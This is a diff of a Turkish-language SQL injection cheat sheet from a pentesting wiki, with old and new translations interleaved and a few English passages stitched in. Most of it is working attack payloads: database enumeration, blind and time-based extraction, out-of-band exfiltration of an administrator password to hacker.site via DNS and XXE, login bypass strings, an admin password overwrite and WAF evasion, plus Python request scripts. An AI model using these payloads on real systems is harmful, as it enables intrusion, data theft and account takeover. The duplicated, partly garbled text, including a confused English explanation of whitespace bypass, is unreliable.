### Veritabanı adlarını, tablo adlarını ve sütun adlarını çıkarma
### Veritabanı adlarını, tablo adlarını ve sütun adlarını çıkarın
Aşağıdaki örneklerde, tüm veritabanlarının adını, bir veritabanının tablo adını ve tablonun sütun adlarını alacağız:
Sonraki örneklerde, tüm veritabanlarının adını, bir veritabanının tablo adını ve tablonun sütun adlarını alacağız:
```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
@ -201,75 +203,67 @@ Aşağıdaki örneklerde, tüm veritabanlarının adını, bir veritabanının t
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_Her farklı veritabanında bu verileri keşfetmek için farklı bir yöntem vardır, ancak her zaman aynı metodoloji kullanılır._
_Her farklı veritabanında bu verileri keşfetmenin farklı bir yolu vardır, ancak metodoloji her zaman aynıdır._
## Gizli Birleştirme Tabanlı Sömürme
## Gizli Union Tabanlı Sömürme
Bir sorgunun çıktısı görünürken birleştirme tabanlı bir enjeksiyonun gerçekleştirilemez gibi görünmesi, **gizli birleştirme tabanlı bir enjeksiyonun** varlığını gösterir. Bu senaryo genellikle kör bir enjeksiyon durumuna yol açar. Kör bir enjeksiyonu birleştirme tabanlı bir enjeksiyona dönüştürmek için, arka uçta yürütülen sorgunun belirlenmesi gerekmektedir.
Bir sorgunun çıktısı görünürken, ancak union tabanlı bir enjeksiyon mümkün görünmüyorsa, bu **gizli union tabanlı enjeksiyon** varlığını gösterir. Bu senaryo genellikle kör enjeksiyon durumuna yol açar. Kör enjeksiyonu union tabanlı bir hale dönüştürmek için, arka plandaki yürütme sorgusunun anlaşılması gerekir.
Bu, hedef Veritabanı Yönetim Sistemi (DBMS) için varsayılan tablolarla birlikte kör enjeksiyon tekniklerinin kullanılmasıyla gerçekleştirilebilir. Bu varsayılan tabloları anlamak için, hedef DBMS'nin belgelerine başvurmanız önerilir.
Bu, kör enjeksiyon tekniklerinin yanı sıra hedef Veritabanı Yönetim Sistemi (DBMS) için varsayılan tabloların kullanılmasıyla gerçekleştirilebilir. Bu varsayılan tabloları anlamak için hedef DBMS'in belgelerine başvurulması önerilir.
Sorgu çıkarıldıktan sonra, orijinal sorguyu güvenli bir şekilde kapatmak için payload'ınızı özelleştirmeniz gerekmektedir. Ardından, payload'ınıza birleştirme sorgusu eklenir ve yeni erişilebilir birleştirme tabanlı enjeksiyonun sömürülmesi kolaylaştırılır.
Sorgu çıkarıldıktan sonra, orijinal sorguyu güvenli bir şekilde kapatacak şekilde yükünüzü özelleştirmeniz gerekmektedir. Ardından, yükünüze bir union sorgusu eklenir ve bu, yeni erişilebilir union tabanlı enjeksiyonun sömürülmesini kolaylaştırır.
Daha kapsamlı bilgilere ulaşmak için [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) adlı tam makaleye başvurun.
Daha kapsamlı bilgiler için [Kör Enjeksiyonları İyileştirme](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) başlıklı makaleye başvurun.
## Hata Tabanlı Sömürme
Eğer bir nedenden dolayı **sorgunun çıktısını göremiyorsanız** ancak **hata mesajlarını görebiliyorsanız**, bu hata mesajlarını kullanarak veritabanından veri **sızdırabilirsiniz**.\
Birleştirme tabanlı sömürüde olduğu gibi benzer bir akışı takip ederek veritabanını dökümleyebilirsiniz.
Eğer bir sebepten dolayı **sorgunun** **çıkışını** göremiyorsanız ama **hata mesajlarını** görebiliyorsanız, bu hata mesajlarını veritabanından **veri sızdırmak** için kullanabilirsiniz.\
Union Tabanlı sömürüdeki benzer bir akışı takip ederek veritabanını dökme işlemini gerçekleştirebilirsiniz.
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## Kör SQLi Sömürüsü
## Blind SQLi'yi İstismar Etme
Bu durumda, sorgunun sonuçlarını veya hataları göremeseniz de, sorgunun doğru bir yanıt mı yoksa yanlış bir yanıt mı döndürdüğünü **ayırt edebilirsiniz** çünkü sayfada farklı içerikler bulunur.\
Bu durumda, bu davranışı istismar ederek veritabanını karakter karakter dökümleyebilirsiniz:
Bu durumda sorgunun sonuçlarını veya hataları göremezsiniz, ancak sorgunun **doğru** veya **yanlış** bir yanıt döndürdüğünü **ayırdedebilirsiniz** çünkü sayfada farklı içerikler vardır.\
Bu durumda, veritabanını karakter karakter dökmek için bu davranışı istismar edebilirsiniz:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## Hata Tabanlı SQLi Sömürme
## Hata Kör SQLi Sömürüsü
Bu, öncekiyle aynı durumdur, ancak sorgudan gelen doğru/yalancı yanıtları ayırt etmek yerine SQL sorgusunda bir hata olup olmadığını ayırt edebilirsiniz (belki de HTTP sunucusu çöktüğü için). Bu durumda, her doğru tahmini yaptığınızda bir SQL hatası zorlayabilirsiniz:
Bu, **önceki durumla aynı** ama sorgudan gelen doğru/yanlış yanıtı ayırt etmek yerine, SQL sorgusundaki bir **hata** ile ayırt edebilirsiniz (belki HTTP sunucusu çöküyor). Bu nedenle, bu durumda doğru karakteri her tahmin ettiğinizde bir SQL hatası zorlayabilirsiniz:
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Zaman Temelli SQLi Sömürüsü
## Zaman Tabanlı SQLi İstismar Etme
Bu durumda, sorgunun yanıtını sayfanın bağlamına göre ayırt etmenin bir yolu **yoktur**. Ancak, tahmin edilen karakter doğruysa sayfanın **daha uzun sürede yüklenmesini sağlayabilirsiniz**. Daha önce [bir SQLi zafiyetini doğrulamak için](./#confirming-with-timing) bu teknik kullanıldığını görmüştük.
Bu durumda, sayfanın bağlamına dayalı olarak sorgunun **yanıtını ayırt etmenin** herhangi bir yolu **yoktur**. Ancak, tahmin edilen karakter doğruysa sayfanın **yüklenme süresinin uzamasını** sağlayabilirsiniz. Bu tekniği daha önce [SQLi zafiyetini doğrulamak için](./#confirming-with-timing) kullanırken gördük.
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## Yığılmış Sorgular
## Stacked Queries
Yığılmış sorguları kullanarak **ardışık olarak birden fazla sorguyu yürütebilirsiniz**. İkinci bir sorgu kullanarak DNS sorgusu, koşullu hata veya zaman gecikmesi tetikleyebileceğiniz **kör zafiyetler** ile ilgili olarak bu teknik öncelikle kullanışlıdır. Ancak, ardışık sorguların yürütülmesine rağmen, **sonuçlar uygulamaya geri döndürülmez**.
Stacked sorguları kullanarak **birden fazla sorguyu peş peşe çalıştırabilirsiniz**. Sonraki sorgular çalıştırılırken, **sonuçlar** **uygulamaya geri döndürülmez**. Bu nedenle, bu teknik esasen **kör zafiyetler** ile ilişkilidir; burada ikinci bir sorgu kullanarak bir DNS sorgusu, koşullu hata veya zaman gecikmesi tetikleyebilirsiniz.
**Oracle**, **yığılmış sorguları desteklemez**. **MySQL, Microsoft** ve **PostgreSQL** ise destekler: `BURAYA-SORGU-1; BURAYA-SORGU-2`
**Oracle** **stacked queries**'i desteklemez. **MySQL, Microsoft** ve **PostgreSQL** bunları destekler: `QUERY-1-HERE; QUERY-2-HERE`
## Dışarıdan Sömürü
## Out of band Exploitation
Eğer **başka bir** sömürü yöntemi **işe yaramazsa**, veritabanının bilgileri sizin kontrolünüzde olan **harici bir sunucuya** çıkarmasını sağlamayı deneyebilirsiniz. Örneğin, DNS sorguları aracılığıyla:
Eğer **başka** bir istismar yöntemi **çalışmadıysa**, **veritabanının** bilgiyi sizin kontrolünüzdeki **harici bir hosta** sızdırmasını sağlamayı deneyebilirsiniz. Örneğin, DNS sorguları aracılığıyla:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
### XXE ile Veri Sızdırma Yoluyla Bağlantı Dışı Veri Çalma
XXE (XML External Entity) saldırısı, bir web uygulamasının XML işleme işlevselliğini kötüye kullanarak hassas verilerin sızdırılmasına olanak tanır. Bu saldırı türü, hedef uygulamanın dışarıya çıkış yapmasına izin veren bir XXE zafiyeti bulunduğunda kullanılabilir.
Bu saldırı türünde, saldırgan XML dökümanına özel bir dış varlık (external entity) ekler. Bu dış varlık, saldırganın kontrolündeki bir sunucuya veya hedef dışında başka bir hedefe bağlantı kurabilir. Saldırgan, bu bağlantıyı kullanarak hassas verileri hedef uygulamadan çalabilir ve dışarıya aktarabilir.
XXE saldırısının bir varyasyonu olan "Out of band data exfiltration" ise, verilerin hedef uygulama dışında başka bir yolla çalınmasını sağlar. Bu yöntemde, saldırgan, dışarıya çıkartılan verileri hedef uygulamadan bağımsız bir şekilde alabilir. Örneğin, saldırgan, çalınan verileri kendi kontrolündeki bir sunucuya POST veya GET isteğiyle gönderebilir.
Bu saldırı türü, hedef uygulamanın ağa erişimi olmayan bir ortamda çalıştığı durumlarda kullanışlı olabilir. Ayrıca, hedef uygulamanın güvenlik önlemleri tarafından tespit edilmesi daha zor olabilir.
### XXE aracılığıyla bant dışı veri sızdırma
```sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
```
## Otomatik Sömürü
SQLi zafiyetini [**sqlmap**](https://github.com/sqlmapproject/sqlmap) ile sömürmek için [SQLMap Hile Sayfası](sqlmap/) kontrol edin.
Bir SQLi zafiyetini [**sqlmap**](https://github.com/sqlmapproject/sqlmap) ile sömürmek için [SQLMap Cheetsheat](sqlmap/) kontrol edin.
## Teknik özel bilgiler
## Teknolojiye özel bilgiler
SQL Injection zafiyetini sömürmek için tüm yolları zaten tartıştık. Bu kitapta veritabanı teknolojisine bağlı olarak daha fazla hile bulabilirsiniz:
Bir SQL Injection zafiyetini sömürmenin tüm yollarını zaten tartıştık. Bu kitapta veritabanı teknolojisine bağlı daha fazla ipucu bulabilirsiniz:
* [MS Access](ms-access-sql-injection.md)
* [MSSQL](mssql-injection.md)
@ -277,17 +271,17 @@ SQL Injection zafiyetini sömürmek için tüm yolları zaten tartıştık. Bu k
* [Oracle](oracle-injection.md)
* [PostgreSQL](postgresql-injection/)
Veya **MySQL, PostgreSQL, Oracle, MSSQL, SQLite ve HQL ile ilgili birçok hile** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) adresinde bulabilirsiniz.
Ya da **MySQL, PostgreSQL, Oracle, MSSQL, SQLite ve HQL ile ilgili birçok ipucu** bulacaksınız [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/), **İspanya**'daki en ilgili siber güvenlik etkinliği ve **Avrupa**'nın en önemli etkinliklerinden biridir. Teknik bilginin yayılmasını amaçlayan bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
[**RootedCON**](https://www.rootedcon.com/) **İspanya**'daki en ilgili siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
## Kimlik doğrulama atlatma
Giriş işlevselliğini atlatmaya çalışmak için aşağıdaki listeyi deneyin:
Giriş işlevini atlatmayı denemek için liste:
{% content-ref url="../login-bypass/sql-login-bypass.md" %}
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
@ -297,59 +291,31 @@ Giriş işlevselliğini atlatmaya çalışmak için aşağıdaki listeyi deneyin
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
Bu sorgu, kimlik doğrulama kontrollerinde MD5'in true ile kullanılması durumunda ortaya çıkan bir güvenlik açığını sergiler. Sistem, SQL enjeksiyonuna karşı savunmasız hale gelir. Saldırganlar, girişleri özel olarak oluşturarak, karma işlemi sonucunda beklenmeyen SQL komut parçalarının oluşmasını sağlayabilir ve bu da yetkisiz erişime yol açabilir.
Bu sorgu, kimlik doğrulama kontrollerinde ham çıktı için true ile MD5 kullanıldığında bir güvenlik açığını göstermektedir ve sistemi SQL injection'a karşı savunmasız hale getirmektedir. Saldırganlar, hash'lenildiğinde beklenmedik SQL komut parçaları üreten girdiler oluşturarak bunu istismar edebilir ve yetkisiz erişim sağlayabilir.
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
```
### Enjekte edilmiş hash kimlik doğrulaması Atlatma
Bu teknik, SQL enjeksiyonu kullanarak bir web uygulamasında hash tabanlı kimlik doğrulamasını atlatmayı amaçlar. Hash tabanlı kimlik doğrulaması, kullanıcıların parolalarını veritabanında depolamak yerine, parolaların hash değerlerini depolayarak güvenlik sağlar. Ancak, bu teknik, saldırganın bir kullanıcının kimlik doğrulamasını atlatmasına olanak tanır.
Bu saldırı, kullanıcının kimlik doğrulaması için kullanılan SQL sorgusuna bir SQL enjeksiyonu ekleyerek gerçekleştirilir. Saldırgan, kullanıcının kimlik doğrulamasını atlatmak için bir hash değeri yerine bir SQL ifadesi enjekte eder. Bu, saldırganın istediği herhangi bir kullanıcının kimlik doğrulamasını atlatmasına olanak tanır.
Bu saldırıyı gerçekleştirmek için, saldırganın hedef web uygulamasında SQL enjeksiyonu açığı bulması gerekir. SQL enjeksiyonu açığı bulunduktan sonra, saldırgan, kimlik doğrulaması için kullanılan SQL sorgusuna bir SQL ifadesi enjekte ederek hash tabanlı kimlik doğrulamasını atlatır.
Bu saldırıyı önlemek için, web uygulamalarının güvenli kodlama uygulamalarını takip etmesi ve kullanıcı girişlerini doğru bir şekilde işlemesi önemlidir. Ayrıca, parametrelerin doğru bir şekilde sorguya eklenmesi ve kullanıcı girişlerinin doğrulanması da önemlidir.
### Enjekte Edilmiş Hash Kimlik Doğrulama Atlatma
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
**Önerilen liste**:
Her satırı kullanıcı adı olarak kullanmalısınız ve her zaman şifre olarak: _**Pass1234.**_\
_(Bu payloadlar, bu bölümün başında bahsedilen büyük listede de bulunmaktadır)_
Kullanıcı adı olarak listenin her satırını ve şifre olarak her zaman: _**Pass1234.**_ kullanmalısınız.\
_(Bu yükler, bu bölümün başında bahsedilen büyük listede de bulunmaktadır)_
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
### GBK Kimlik Doğrulama Atlama
### GBK Kimlik Doğrulama Atlatma
Eğer ' karakteri kaçırılıyorsa, %A8%27 kullanabilirsiniz ve ' karakteri kaçırıldığında şu şekilde oluşturulur: 0xA80x5c0x27 (_╘'_)
Eğer ' kaçış karakteri ile işleniyorsa %A8%27 kullanabilirsiniz ve ' kaçış karakteri ile işlendiğinde şu şekilde oluşturulacaktır: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
```
```python
import requests
def sql_injection(url, payload):
# Construct the SQL injection payload
payload = f"' OR {payload} -- "
# Send the request with the payload
response = requests.get(url + payload)
# Check if the response indicates a successful SQL injection
if "Error" in response.text:
print("SQL injection successful!")
else:
print("SQL injection failed.")
# Example usage
url = "https://example.com/login"
payload = "1=1"
sql_injection(url, payload)
```
Python betiği:
```python
import requests
url = "http://example.com/index.php"
@ -358,72 +324,66 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
```
### Poliglot enjeksiyon (çoklu bağlam)
Polyglot injection, bir SQL enjeksiyon saldırısı tekniğidir ve birden fazla veritabanı yönetim sistemi (DBMS) tarafından yorumlanabilen bir SQL ifadesi oluşturmayı amaçlar. Bu, saldırganın farklı DBMS'lerde aynı enjeksiyonu kullanarak birden fazla hedefe saldırabilmesini sağlar.
Polyglot enjeksiyon, farklı DBMS'lerin farklı yorumlama kurallarını kullanarak çalışır. Bu nedenle, saldırgan, hedef DBMS'ye bağlı olarak uygun bir SQL ifadesi oluşturabilir. Bu teknik, saldırganın hedef DBMS'nin türünü belirlemesine gerek kalmadan saldırı yapmasını sağlar.
Polyglot enjeksiyon, saldırganın hedef DBMS'nin türünü bilmediği durumlarda özellikle kullanışlıdır. Bu teknik, saldırganın saldırı yüzeyini genişletmesine ve birden fazla hedefe saldırmasına olanak tanır. Ancak, her DBMS'nin farklı yorumlama kuralları olduğu için, polyglot enjeksiyonun başarılı olması için dikkatli bir şekilde planlanması ve test edilmesi gerekmektedir.
### Polyglot injection (multicontext)
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## Insert İfadesi
## Insert Statement
### Mevcut nesne/kullanıcının şifresini değiştirme
Bunu yapmak için, muhtemelen kullanıcılar için **"ana nesne"** olarak adlandırılan bir nesne oluşturmayı denemelisiniz (muhtemelen **admin**):
Bunu yapmak için **"ana nesne"** olarak adlandırılan **yeni bir nesne oluşturmayı** denemelisiniz (kullanıcılar için muhtemelen **admin**):
* **AdMIn** adında bir kullanıcı oluşturun (büyük ve küçük harflerle)
* **admin=** adında bir kullanıcı oluşturun
* **SQL Kırpma Saldırısı** (kullanıcı adında veya e-postada bir **uzunluk sınırı** olduğunda) --> **admin \[çok fazla boşluk]** adında bir kullanıcı oluşturun
* Adı olan kullanıcı oluşturun: **AdMIn** (büyük ve küçük harfler)
* Adı olan bir kullanıcı oluşturun: **admin=**
* **SQL Truncation Attack** (kullanıcı adı veya e-posta için bazı türden **uzunluk sınırı** olduğunda) --> Adı olan kullanıcı oluşturun: **admin \[bir sürü boşluk] a**
#### SQL Kırpma Saldırısı
#### SQL Truncation Attack
Veritabanı savunmasızsa ve kullanıcı adı için maksimum karakter sayısı örneğin 30 ise ve **admin** kullanıcısını taklit etmek istiyorsanız, "_admin \[30 boşluk] a_" adında bir kullanıcı adı oluşturmayı deneyin ve herhangi bir şifre belirleyin.
Eğer veritabanı savunmasızsa ve kullanıcı adı için maksimum karakter sayısı örneğin 30 ise ve **admin** kullanıcısını taklit etmek istiyorsanız, "_admin \[30 boşluk] a_" adında bir kullanıcı adı oluşturmaya çalışın ve herhangi bir şifre belirleyin.
Veritabanı, tanıtılan **kullanıcı adının** veritabanında **var olup olmadığını kontrol edecektir**. Eğer **yoksa**, kullanıcı adını **maksimum izin verilen karakter sayısına kadar kesecek** (bu durumda "_admin \[25 boşluk]_" olacak) ve ardından veritabanında kullanıcı "**admin**"i **yeni şifreyle güncelleyerek** tüm boşlukları otomatik olarak kaldıracaktır (bazı hatalar oluşabilir, ancak bu çalışmadığı anlamına gelmez).
Veritabanı, girilen **kullanıcı adının** veritabanında **var olup olmadığını** **kontrol edecektir**. Eğer **yoksa**, **kullanıcı adını** **izin verilen maksimum karakter sayısına** (bu durumda: "_admin \[25 boşluk]_") **kesecek** ve ardından veritabanında kullanıcıyı "**admin**" **yeni şifreyle** güncelleyerek **sonundaki tüm boşlukları otomatik olarak kaldıracaktır** (bazı hatalar ortaya çıkabilir ama bu, işlemin çalışmadığı anlamına gelmez).
Daha fazla bilgi için: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
Daha fazla bilgi: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Not: Bu saldırı, en son MySQL kurulumlarında yukarıda açıklandığı gibi artık çalışmayacaktır. Karşılaştırmalar hala varsayılan olarak sondaki boşlukları görmezden gelirken, bir alanın uzunluğundan daha uzun bir dize eklemeye çalışmak bir hataya neden olacak ve ekleme başarısız olacaktır. Bu kontrol hakkında daha fazla bilgi için: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
_Not: Bu saldırı, en son MySQL kurulumlarında yukarıda açıklandığı gibi artık çalışmayacaktır. Karşılaştırmalar varsayılan olarak son boşlukları hala göz ardı etse de, bir alanın uzunluğundan daha uzun bir dize eklemeye çalışmak bir hataya yol açacak ve ekleme başarısız olacaktır. Bu kontrol hakkında daha fazla bilgi için: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
### MySQL Insert zaman tabanlı kontrol
### MySQL Ekleme zaman tabanlı kontrol
VALUES ifadesinden çıkmak için düşündüğünüz kadar `','',''` ekleyin. Gecikme gerçekleşirse, bir SQL Injection'a sahipsiniz.
VALUES ifadesinden çıkmak için düşündüğünüz kadar `','',''` ekleyin. Gecikme gerçekleşirse, bir SQLInjection'a sahipsiniz.
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
MySQL'deki `ON DUPLICATE KEY UPDATE` ifadesi, bir UNIQUE indeks veya PRIMARY KEY'de yinelenen bir değer oluşturacak bir satır eklemeye çalışıldığında veritabanının alacağı eylemleri belirtmek için kullanılır. Aşağıdaki örnek, bu özelliğin bir yönetici hesabının şifresini değiştirmek amacıyla nasıl istismar edilebileceğini göstermektedir:
MySQL'deki `ON DUPLICATE KEY UPDATE` ifadesi, UNIQUE indeks veya PRIMARY KEY'de bir tekrar eden değerle sonuçlanacak bir satır eklenmeye çalışıldığında veritabanının alacağı eylemleri belirtmek için kullanılır. Aşağıdaki örnek, bu özelliğin bir yönetici hesabının şifresini değiştirmek için nasıl istismar edilebileceğini göstermektedir:
Örnek Enjeksiyon Payloağı:
Örnek Yük Enjeksiyonu:
Bir enjeksiyon payloağı aşağıdaki gibi oluşturulabilir, burada `users` tablosuna iki satır eklenmeye çalışılır. İlk satır bir tuzak, ikinci satır ise mevcut bir yöneticinin e-postasını hedefleyerek şifrenin güncellenmesi amacıyla kullanılır:
Bir enjeksiyon yükü şu şekilde oluşturulabilir; burada `users` tablosuna iki satır eklenmeye çalışılmaktadır. İlk satır bir aldatmaca, ikinci satır ise mevcut bir yöneticinin e-posta adresini hedef alarak şifreyi güncellemeyi amaçlamaktadır:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
İşleyişi şu şekildedir:
Here's how it works:
- Sorgu, `generic_user@example.com` için bir satır ve `admin_generic@example.com` için başka bir satır eklemeye çalışır.
- Eğer `admin_generic@example.com` için bir satır zaten mevcutsa, `ON DUPLICATE KEY UPDATE` ifadesi tetiklenir ve MySQL'e mevcut satırın `password` alanını "bcrypt_hash_of_newpassword" olarak güncellemesi talimatı verilir.
- Sonuç olarak, kimlik doğrulama, "bcrypt_hash_of_newpassword" ile eşleşen şifreyle `admin_generic@example.com` kullanarak denenebilir. ("bcrypt_hash_of_newpassword", istenen şifrenin bcrypt hash'inin gerçek hash ile değiştirilmesi gereken yeni şifrenin bcrypt hash'ini temsil eder).
- Sorgu, `generic_user@example.com` için bir ve `admin_generic@example.com` için başka bir satır eklemeye çalışır.
- Eğer `admin_generic@example.com` için satır zaten mevcutsa, `ON DUPLICATE KEY UPDATE` ifadesi tetiklenir ve MySQL'e mevcut satırın `password` alanını "bcrypt_hash_of_newpassword" olarak güncellemesi talimatı verilir.
- Sonuç olarak, `admin_generic@example.com` ile bcrypt hash'ine karşılık gelen şifre ile kimlik doğrulama yapılmaya çalışılabilir ("bcrypt_hash_of_newpassword", istenen şifrenin gerçek bcrypt hash'i ile değiştirilmesi gereken yeni şifrenin bcrypt hash'ini temsil eder).
### Bilgi çıkarma
### Extract information
#### Aynı anda 2 hesap oluşturma
Yeni bir kullanıcı ve kullanıcı adı, şifre ve e-posta oluşturmak için gereklidir:
Yeni bir kullanıcı ve kullanıcı adı oluşturulmaya çalışıldığında, şifre ve e-posta gereklidir:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
```
#### Onluk veya onaltılık kullanma
#### Onaltılık veya ondalık kullanma
Bu teknikle sadece 1 hesap oluşturarak bilgi çıkarabilirsiniz. Unutulmaması gereken önemli bir nokta, herhangi bir yorum yapmanıza gerek olmadığıdır.
Bu teknikle yalnızca 1 hesap oluşturarak bilgi çıkarabilirsiniz. Hiçbir şeyi yorumlamanıza gerek olmadığını belirtmek önemlidir.
**hex2dec** ve **substr** kullanarak:
```sql
@ -444,26 +404,26 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilginin yayılmasını amaçlayan bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
[**RootedCON**](https://www.rootedcon.com/) **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
## Routed SQL enjeksiyonu
## Routed SQL injection
Routed SQL enjeksiyonu, enjekte edilebilir sorgunun çıktıyı veren sorgu olmadığı durumlarda ortaya çıkar, ancak enjekte edilebilir sorgunun çıktısı çıktıyı veren sorguya gider. ([Makaleden](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Routed SQL injection, enjekte edilebilir sorgunun çıktı vermeyen sorgu değil, enjekte edilebilir sorgunun çıktısının çıktı veren sorguya gittiği bir durumdur. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Örnek:
```
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
```
## WAF Geçişi
## WAF Bypass
[İlk geçişler buradan](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
[İlk bypass'lar buradan](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
### Boşluk geçişi
### Boşluk olmadan bypass
Boşluk Yok (%20) - boşluk alternatifleri kullanarak geçiş yapma
No Space (%20) - boşluk alternatifleri kullanarak bypass
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
@ -472,109 +432,31 @@ Boşluk Yok (%20) - boşluk alternatifleri kullanarak geçiş yapma
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
# SQL Injection: Whitespace Bypass Using Comments
In some cases, SQL injection payloads may be blocked or filtered based on the presence of whitespace characters. However, it is possible to bypass these restrictions by using comments within the SQL injection payload.
## Technique
To bypass whitespace restrictions, you can use comments to effectively remove the whitespace characters from the payload. The following techniques can be used:
### Single-line Comments
In SQL, single-line comments start with `--` and continue until the end of the line. By using single-line comments, you can remove the whitespace characters from the payload.
For example, consider the following SQL injection payload:
```sql
SELECT * FROM users WHERE username = 'admin' --' AND password = 'password'
```
In this payload, the comment `--'` effectively removes the whitespace characters before the `AND` keyword, allowing the injection to bypass the whitespace restriction.
### Multi-line Comments
In SQL, multi-line comments start with `/*` and end with `*/`. By using multi-line comments, you can remove multiple whitespace characters from the payload.
For example, consider the following SQL injection payload:
```sql
SELECT * FROM users WHERE username = 'admin'/* AND password = 'password' */
```
In this payload, the multi-line comment `/* AND password = 'password' */` effectively removes the whitespace characters before and after the `AND` keyword, allowing the injection to bypass the whitespace restriction.
## Conclusion
By using comments within SQL injection payloads, you can bypass whitespace restrictions and successfully execute SQL injection attacks. However, it is important to note that this technique may not work in all scenarios, as it depends on the specific implementation and filtering mechanisms in place.
No Whitespace - yorumlar kullanarak atlatma
```sql
?id=1/*comment*/and/**/1=1/**/--
```
# SQL Injection - Bypassing No Whitespace Filters using Parenthesis
